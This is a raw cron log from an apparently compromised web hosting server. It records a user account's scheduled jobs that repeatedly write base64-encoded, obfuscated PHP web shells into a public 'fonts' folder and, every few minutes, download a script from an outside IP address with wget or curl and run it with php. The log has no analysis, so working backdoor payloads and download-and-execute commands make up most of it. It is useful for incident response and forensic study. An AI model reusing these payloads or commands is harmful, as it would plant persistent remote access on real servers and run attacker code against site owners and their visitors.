Sep  8 15:17:02 ip-184-168-122-23 CROND[8440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:18:01 ip-184-168-122-23 CROND[8514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:18:01 ip-184-168-122-23 CROND[8516]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:18:01 ip-184-168-122-23 CROND[8519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:18:01 ip-184-168-122-23 CROND[8518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:18:01 ip-184-168-122-23 CROND[8517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:19:01 ip-184-168-122-23 CROND[8599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:19:01 ip-184-168-122-23 CROND[8602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:19:01 ip-184-168-122-23 CROND[8601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:19:01 ip-184-168-122-23 CROND[8603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:20:01 ip-184-168-122-23 CROND[8772]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 15:20:01 ip-184-168-122-23 CROND[8775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:20:01 ip-184-168-122-23 CROND[8779]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 15:20:01 ip-184-168-122-23 CROND[8777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:20:01 ip-184-168-122-23 CROND[8780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:20:01 ip-184-168-122-23 CROND[8776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:20:01 ip-184-168-122-23 CROND[8782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:20:01 ip-184-168-122-23 CROND[8778]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:20:01 ip-184-168-122-23 CROND[8785]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:21:01 ip-184-168-122-23 CROND[8881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:21:01 ip-184-168-122-23 CROND[8884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:21:01 ip-184-168-122-23 CROND[8883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:21:01 ip-184-168-122-23 CROND[8882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:22:01 ip-184-168-122-23 CROND[8980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:22:01 ip-184-168-122-23 CROND[8982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:22:01 ip-184-168-122-23 CROND[8983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:22:01 ip-184-168-122-23 CROND[8984]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:22:01 ip-184-168-122-23 CROND[8985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:23:01 ip-184-168-122-23 CROND[9075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:23:01 ip-184-168-122-23 CROND[9077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:23:01 ip-184-168-122-23 CROND[9079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:23:01 ip-184-168-122-23 CROND[9078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:24:01 ip-184-168-122-23 CROND[9160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:24:01 ip-184-168-122-23 CROND[9162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:24:01 ip-184-168-122-23 CROND[9163]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:24:01 ip-184-168-122-23 CROND[9164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:24:01 ip-184-168-122-23 CROND[9165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:25:01 ip-184-168-122-23 CROND[9266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:25:01 ip-184-168-122-23 CROND[9268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:25:01 ip-184-168-122-23 CROND[9272]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:25:01 ip-184-168-122-23 CROND[9271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:25:01 ip-184-168-122-23 CROND[9269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:25:01 ip-184-168-122-23 CROND[9270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:26:01 ip-184-168-122-23 CROND[9371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:26:01 ip-184-168-122-23 CROND[9372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:26:01 ip-184-168-122-23 CROND[9374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:26:01 ip-184-168-122-23 CROND[9375]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:26:01 ip-184-168-122-23 CROND[9376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:27:01 ip-184-168-122-23 CROND[9554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:27:01 ip-184-168-122-23 CROND[9555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:27:01 ip-184-168-122-23 CROND[9556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:27:01 ip-184-168-122-23 CROND[9559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:28:01 ip-184-168-122-23 CROND[9649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:28:01 ip-184-168-122-23 CROND[9651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:28:01 ip-184-168-122-23 CROND[9654]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:28:01 ip-184-168-122-23 CROND[9652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:28:01 ip-184-168-122-23 CROND[9653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:29:01 ip-184-168-122-23 CROND[9740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:29:01 ip-184-168-122-23 CROND[9742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:29:01 ip-184-168-122-23 CROND[9743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:29:01 ip-184-168-122-23 CROND[9745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:30:01 ip-184-168-122-23 CROND[9835]: (root) CMD (/usr/lib64/sa/sa1 1 1)
